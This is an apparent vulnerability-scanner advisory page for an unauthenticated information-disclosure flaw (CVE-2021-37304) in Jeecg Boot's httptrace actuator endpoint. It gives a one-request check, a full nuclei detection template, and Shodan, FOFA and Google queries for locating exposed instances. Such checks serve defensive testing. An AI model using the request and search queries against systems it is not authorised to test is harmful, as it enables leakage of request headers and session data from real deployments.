Jeecg Boot <= 2.4.5 - Information Disclosure

highseverity

7.5CVSS score

4%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

An Insecure Permissions issue in jeecg-boot 2.4.5 allows unauthenticated remote attackers to gain escalated privilege and view sensitive information via the httptrace interface.

Impact

An attacker can exploit this vulnerability to gain sensitive information from the application.

Fix

Upgrade Jeecg Boot to a version higher than 2.4.5 to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/jeecg-boot/actuator/httptrace/
Positive when: contains "\"traces\":[" and "\"headers\"" and "\"request\":{" AND status 200

Run it with nuclei: nuclei -id CVE-2021-37304 -u <target>

The full check

id: CVE-2021-37304

info:
  name: Jeecg Boot <= 2.4.5 - Information Disclosure
  author: ritikchaddha
  severity: high
  description: |
    An Insecure Permissions issue in jeecg-boot 2.4.5 allows unauthenticated remote attackers to gain escalated privilege and view sensitive information via the httptrace interface.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the application.
  remediation: |
    Upgrade Jeecg Boot to a version higher than 2.4.5 to mitigate the vulnerability.
  reference:
    - https://github.com/jeecgboot/jeecg-boot/issues/2793
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37304
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-37304
    cwe-id: CWE-732
    epss-score: 0.04013
    epss-percentile: 0.90651
    cpe: cpe:2.3:a:jeecg:jeecg:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: jeecg
    product: jeecg
    shodan-query:
      - title:"Jeecg-Boot"
      - http.title:"jeecg-boot"
    fofa-query:
      - title="JeecgBoot 企业级低代码平台"
      - title="jeecg-boot"
      - title="jeecgboot 企业级低代码平台"
    google-query: intitle:"jeecg-boot"
  tags: cve2021,cve,jeecg,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/jeecg-boot/actuator/httptrace/"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"traces":['
          - '"headers"'
          - '"request":{'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from